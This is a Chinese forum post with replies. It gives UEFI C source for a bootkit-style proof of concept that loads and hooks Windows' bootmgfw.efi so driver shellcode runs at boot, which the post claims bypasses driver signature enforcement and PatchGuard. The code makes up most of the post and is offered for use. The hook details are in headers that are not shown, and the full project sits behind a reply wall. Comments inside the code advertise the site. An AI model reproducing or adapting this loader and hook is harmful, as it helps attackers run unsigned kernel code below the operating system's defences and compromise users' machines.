瞄一眼

 找回密码
 立即注册
查看: 332|回复: 4

[DSE签名相关] 利用UEFI开机加载我们的驱动

[复制链接]

322

主题

346

帖子

58

积分

管理员

Rank: 12Rank: 12Rank: 12

积分
58
发表于 2019-9-11 05:51:14 | 显示全部楼层 |阅读模式
利用uefi 在boot阶段 修补bootmgfw.efi的某个跳转特征码 加载我们的驱动shellcode 绕过DSE驱动签名验证 也可以绕过PG 大家先看看我下面这些文章链接熟悉一下uefi的基础知识 再看代码 就差不多了
UEFI(Unified Extensible Firmware Interface)是一个新的工业标准,规定了一个预启动环境中的系统接口。UEFI会在电源加电之后以及操作系统完全加载之后控制系统。而且,UEFI也负责在系统提供的资源和运转中的系统之前提供接口。


换句话说,UEFI是用于取代和扩展旧的BIOS固件。


UEFI并不是一件全新的事物。Intel在90年代中期就开始了EFI/UEFI的相关工作,而一些厂商例如HP或者Apple早已提供了EFI的机器。不过,直到微软的windows8发布,UEFI才成为引导新的认证机器所必须的。


UEFI规范(http://www.uefi.org/specs/)是一份非常全面的文档,它包含了固件制造商必须提供的、可以为操作系统访问的所有的接口、变量和结构的定义。而Linux从2000年开始已经可以通过grub或者elilo提供EFI支持。


Secure boot是UEFI的一个扩展。UEFI的一个关键点就是它可以被扩展。UEFI有一个内部的虚拟机,其运行是独立于架构的。该标准接受为此虚拟机编译的特定二进制文件(EFI执行文件),并在次环境中执行。这些执行文件可以是设备驱动、应用程序或者UEFI标准的扩展。UEFI,在某种意义上说,像是计算机启动时运行的一个小型的操作系统,改操作系统的主要任务就是查找并加载另一个主力的操作系统。


系统表是UEFI内核的全局数据结构,应用程序运行在用户空间。那么用户空间是如何获得内核空间的系统表指针的?其实在UEFI中只有一个地址空间,所有的程序都运行在RING0优先级,应用程序地址空间占用UEFI地址空间的一部分。既然用户空间和内核空间是一个整体,在应用程序内也就可以直接使用内核空间的任何地址了,那么在应用程序内,只要得到了系统表的地址,就可以使用系统表了。


EFI System Table 里面有两个Services:Runtime Services和Boot Services,其中Runtime Services 是在UEFI 兼容系统上面几乎全时可用的Services,区别于Boot Services只能在EFI_BOOT_SERVICES.ExitBootServices()之前可用的特性。Runtime Services提供了几组有限的Services:Variable Services;Time Services;Virtual Memory Services;Miscellaneous Runtime Services。
view.jpg

更多参考地址:UEFI原理与编程1到10地址   EFI BIOS之Handler&Protocol   UEFI Common:UEFI 中的Runtime Services


  1.    
  2. #include <Uefi.h>

  3. #include <Library/UefiBootServicesTableLib.h>

  4. #include <Protocol/SimpleFileSystem.h>
  5. #include <Protocol/LoadedImage.h>

  6. #include "drawlogo.h"

  7. extern CONST UINT32 _gUefiDriverRevision        = 0;

  8. CHAR16* gRuntimeDriverPath                                        = L"\\UefiRuntimeDriver.efi";
  9. CHAR8*        gEfiCallerBaseName                                        = "IRFDDEVICE";

  10. EFI_STATUS
  11. LocateFile(
  12. IN        CHAR16*                                ImagePath,
  13. OUT EFI_DEVICE_PATH**        DevicePath
  14. ) {
  15.         EFI_FILE_IO_INTERFACE* ioDevice;
  16.         
  17.         EFI_FILE_HANDLE handleRoots;
  18.         EFI_FILE_HANDLE        bootFile;
  19.         
  20.         EFI_HANDLE* handleArray;
  21.         EFI_STATUS        efiStatus;

  22.         UINTN nbHandles;
  23.         UINTN i;
  24.         
  25.         *DevicePath = (EFI_DEVICE_PATH*)NULL;
  26. //gEfiSimpleFileSystemProtocolGuid持有这个协议的所有句柄
  27.         efiStatus        = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &nbHandles, &handleArray);
  28.         
  29.         if (EFI_ERROR(efiStatus)) {
  30.                 return efiStatus;
  31.         }

  32. //遍历所有句柄 利用句柄打开我们的runtimeDriver.efi 如果成功 就找到了 返回从新包装后的设备路径
  33.         for (i = 0; i < nbHandles; i++) {
  34.                 efiStatus = gBS->HandleProtocol(handleArray[i], &gEfiSimpleFileSystemProtocolGuid, &ioDevice);

  35.                 if (efiStatus != EFI_SUCCESS) {
  36.                         continue;
  37.                 }

  38.                 efiStatus = ioDevice->OpenVolume(ioDevice, &handleRoots);

  39.                 if (EFI_ERROR(efiStatus)){
  40.                         continue;
  41.                 }
  42.                 //打开句柄
  43.                 efiStatus = handleRoots->Open(handleRoots, &bootFile, ImagePath, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY);
  44.                
  45.                 if (!EFI_ERROR(efiStatus)) {
  46.                         handleRoots->Close(bootFile);
  47. //填充好结构 直接返回
  48.                         *DevicePath = FileDevicePath(handleArray[i], ImagePath);
  49.                         
  50.                         break;
  51.                 }
  52.         }

  53.         return efiStatus;
  54. }

  55. EFI_STATUS
  56. EFIAPI
  57. UefiMain(//入口函数
  58. IN EFI_HANDLE                        ImageHandle,//本efi文件被加载后 uefi的设备驱动会给他分配一个image句柄
  59. IN EFI_SYSTEM_TABLE*        SystemTable//是一个全局表 包含一堆函数指针 分为boot 服务 和运行时服务 前者boot退出进入内核后就不在有效 后者一直有效
  60. ) {
  61.         EFI_DEVICE_PATH*        runtimeDrivePath                        = NULL;
  62.         EFI_HANDLE                        runtimeDriverHandle                        = NULL;

  63.         EFI_STATUS                        efiStatus                                        = EFI_INVALID_PARAMETER;
  64.         

  65.         efiStatus = DrawLogoImage();//调用服务表里的函数 画个logo

  66.         if (EFI_ERROR(efiStatus)) {
  67.                 //如果失败 就大概打印一些字符
  68.                 gST->ConOut->ClearScreen(gST->ConOut);
  69.                 gST->ConOut->SetAttribute(gST->ConOut, EFI_GREEN);
  70.                
  71.                 Print(L" _       _____    ___   ______   _____   _   _   _____ \n");
  72.                 Print(L"| |     |  _  |  / _ \\  |  _  \\ |_   _| | \\ | | |  __ \\\n");
  73.                 Print(L"| |     | | | | / /_\\ \\ | | | |   | |   |  \\| | | |  \\/\n");
  74.                 Print(L"| |     | | | | |  _  | | | | |   | |   | . ` | | | __ \n");
  75.                 Print(L"| |____ \\ \\_/ / | | | | | |/ /   _| |_  | |\\  | | |_\\ \\\n");
  76.                 Print(L"\\_____/  \\___/  \\_| |_/ |___/    \\___/  \\_| \\_/  \\____/\n");
  77. //欢迎来miao1yan.top学习更多内容 新网站 希望大家多宣传 多发帖 加群一起学习 感谢支持
  78.                 gBS->Stall(3000000);
  79.         }
  80. //利用服务表相关文件操作函数  定位文件
  81.         efiStatus = LocateFile(gRuntimeDriverPath, &runtimeDrivePath);

  82.         if (EFI_ERROR(efiStatus)) {
  83.                 return efiStatus;
  84.         }
  85. //载入内存
  86.         efiStatus = gBS->LoadImage(TRUE, ImageHandle, runtimeDrivePath, NULL, 0, &runtimeDriverHandle);

  87.         if (EFI_ERROR(efiStatus)) {
  88.                 return efiStatus;
  89.         }
  90. //调用这个efi的入口函数
  91.         efiStatus = gBS->StartImage(runtimeDriverHandle, (UINTN*)NULL, (CHAR16 * *)NULL);

  92.         if (EFI_ERROR(efiStatus)) {
  93.                 return efiStatus;
  94.         }

  95.         return efiStatus;
  96. }

  97. EFI_STATUS
  98. EFIAPI
  99. UefiUnload(
  100.         IN EFI_HANDLE ImageHandle
  101. ) {

  102. }
复制代码
  1. #include <Uefi.h>

  2. #include <Library/UefiBootServicesTableLib.h>
  3. #include <Library/UefiRuntimeServicesTableLib.h>

  4. #include <Protocol/LoadedImage.h>

  5. #include <Guid/EventGroup.h>
  6. #include "globals.h"

  7. #include "utils.h"
  8. #include "hooks.h"
  9. //ugly poc written in 2 days

  10. #define BOOTMGFW_PATH        L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi"//这个文件就放在c盘的boot文件下面 开机后最先启动的 懂bios就知道了

  11. CONST UINT32        _gUefiDriverRevision = 0x200;
  12. CONST UINT32        _gDxeRevision = 0x200;

  13. CONST UINT8                _gDriverUnloadImageCount = 1;

  14. CHAR8*                gEfiCallerBaseName                        = "IRFDSERVICE";
  15. EFI_EVENT        gSetVirtualAddressMapEvent        = NULL;



  16. VOID
  17. EFIAPI//事件回调函数 当涉及内存映射的 当cpu对线性地址的内存读写操作 需要先在这里物理地址转换为线性地址
  18. NotifySetVirtualAddressMap(
  19.         IN EFI_EVENT  Event,
  20.         IN VOID* Context
  21. ) {
  22.         gRT->ConvertPointer(EFI_OPTIONAL_PTR, (VOID**)&gJmpToImgArchStartBootApplication);
  23.         gRT->ConvertPointer(EFI_OPTIONAL_PTR, (VOID**)&gCallToOslArchTransferToKernel);
  24.         gRT->ConvertPointer(EFI_OPTIONAL_PTR, (VOID**)&gBlImgAllocateImageBuffer);
  25.         gRT->ConvertPointer(EFI_OPTIONAL_PTR, (VOID**)&oImgArchStartBootApplication);
  26.         gRT->ConvertPointer(EFI_OPTIONAL_PTR, (VOID**)&oOslArchTransferToKernel);
  27. }

  28. EFI_STATUS
  29. EFIAPI
  30. UefiMain(//入口函数
  31. IN EFI_HANDLE                 ImageHandle,
  32. IN EFI_SYSTEM_TABLE* SystemTable
  33. ) {
  34.         EFI_STATUS        efiStatus        = EFI_INVALID_PARAMETER;

  35.         EFI_LOADED_IMAGE*        localImageInfo                        = NULL;
  36.         EFI_DEVICE_PATH*        windowsBootloaderPath        = NULL;
  37.         EFI_HANDLE                        windowsBootloaderHandle = NULL;
  38. //查找本image的对应的协议是否存在 不存在那就出问题了 因为协议里面有一些回调函数等信息 一般加载成功后 都会存在对应的协议结构
  39.         efiStatus = gBS->HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, (VOID**)&localImageInfo);
  40. //欢迎来miao1yan.top学习更多内容 新网站 希望大家多宣传 多发帖 加群一起学习 感谢支持
  41.         if (EFI_ERROR(efiStatus)) {
  42.                 return efiStatus;
  43.         }
  44. //定位bootmgfw.efi这个文件 为之后hook做准备
  45.         efiStatus = BkLocateFile(BOOTMGFW_PATH, &windowsBootloaderPath);

  46.         if (EFI_ERROR(efiStatus)) {
  47.                 return efiStatus;
  48.         }
  49.         //找到后 载入内存
  50.         efiStatus = gBS->LoadImage(TRUE, ImageHandle, windowsBootloaderPath, NULL, 0, &windowsBootloaderHandle);

  51.         if (EFI_ERROR(efiStatus)) {
  52.                 return efiStatus;
  53.         }
  54. //创建一个内存映射事件 任何对内存线性读写的操作 必须先进入回调 转换一下 物理地址转换成线性地址
  55.         efiStatus = gBS->CreateEventEx(EVT_NOTIFY_SIGNAL, TPL_NOTIFY, NotifySetVirtualAddressMap, NULL, &gEfiEventVirtualAddressChangeGuid, &gSetVirtualAddressMapEvent);
  56.         
  57.         if (EFI_ERROR(efiStatus)) {
  58.                 return efiStatus;
  59.         }
  60. //hook 那个bootmgfw.efi文件 让他加载我们的驱动shellcode 从而绕过DSE 其实这里玩法很多 也可以hook load.efi 因为在操作系统之前启动我们的驱动 所以可以做很多内存补丁 绕过一堆验证 但是该死的win10 有了VBS HyperGuard这些东西后 因为是虚拟机特权比我们还高 所以它能检测到你的补丁 所以凉凉 但是对win7 windows server xxx 都还好使+++ 欢迎来miao1yan.top学习更多内容 新网站 希望大家多宣传 多发帖 加群一起学习 感谢支持
  61. efiStatus = InstallImgArchStartBootApplicationHook(localImageInfo->ImageBase, windowsBootloaderHandle);

  62.         if (EFI_ERROR(efiStatus)) {
  63.                 return efiStatus;
  64.         }
  65.         //开启这个bootmgfw.efi 进入正常的bios引导操作系统的流程
  66.         efiStatus = gBS->StartImage(windowsBootloaderHandle, (UINTN*)NULL, (CHAR16 * *)NULL);

  67.         if (EFI_ERROR(efiStatus)) {
  68.                 return efiStatus;
  69.         }
  70.         
  71.         return efiStatus;
  72. }

  73. EFI_STATUS
  74. EFIAPI
  75. UefiUnload(
  76.         IN EFI_HANDLE ImageHandle
  77. ) {

  78. }
复制代码
完整工程地址:
游客,如果您要查看本帖隐藏内容请回复


6

主题

13

帖子

5

积分

管理员

Rank: 12Rank: 12Rank: 12

积分
5
发表于 2019-9-16 18:27:37 | 显示全部楼层
这个东西我考虑过,但是我还没摸清楚UEFI,学了一下,还没完全弄清楚,感谢大鸟给出了例子

0

主题

40

帖子

5

积分

韶华一笑间

Rank: 1

积分
5
发表于 2019-10-26 20:47:21 | 显示全部楼层
好思路哈

0

主题

14

帖子

2

积分

韶华一笑间

Rank: 1

积分
2
发表于 2020-3-11 09:30:03 | 显示全部楼层
这个思路可以

0

主题

7

帖子

1

积分

韶华一笑间

Rank: 1

积分
1
发表于 2020-5-20 15:37:00 | 显示全部楼层
学习一下
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|瞄眼社区

GMT+8, 2020-6-1 00:20 , Processed in 0.213468 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表